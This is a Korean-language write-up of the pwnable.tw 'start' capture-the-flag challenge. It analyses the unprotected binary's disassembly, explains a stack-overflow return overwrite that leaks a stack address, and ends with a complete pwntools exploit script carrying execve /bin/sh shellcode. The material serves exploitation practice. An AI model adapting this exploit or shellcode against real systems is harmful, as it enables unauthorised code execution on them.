[pwnable.tw]start
보호기법은 하나도 안 걸려있다.
[*] '/vagrant/ctfs/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
_start
에서 syscall로 write, read 호출한다.
write는 esp에 있는 값을 20바이트 만큼 출력해준다. push 해준 값들인데 아마 Let's start the CTF:
이거 출력해줄 것이다. 그리고 read는 64바이트만큼 입력받을 수 있다. 그리고 마지막에 esp 정리해주고 exit으로 리턴해준다.
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 60
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
여기서 리턴을 덮어서 원하는 주소로 갈 수 있다. 근데 ret할때 esp가 스택주소가 들어있는데 0x08048087
로 리턴해주면 stack 주소를 leak 할 수 있다. 그리고 add esp, 0x14
하고 ret하니까 쉘코드가 있는 주소로 덮으면 쉘코드 실행이 된다
exploit.py
from pwn import *
# context.log_level = 'debug'
e = ELF('./start')
#p = process('./start')
p = remote('chall.pwnable.tw',10000)
gadget = 0x08048087 # mov ecx, esp ; mov dl, 0x14 ; mov bl, 1 ; mov al, 4 ; int 0x80
payload = 'A'*0x14
payload += p32(gadget)
p.sendafter(':',payload)
stack = u32(p.recv(4))
log.info('stack : ' + hex(stack))
#raw_input()
payload2 = 'A'*0x14
payload2 += p32(stack + 0x14)
payload2 += '\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
p.send(payload2)
p.interactive()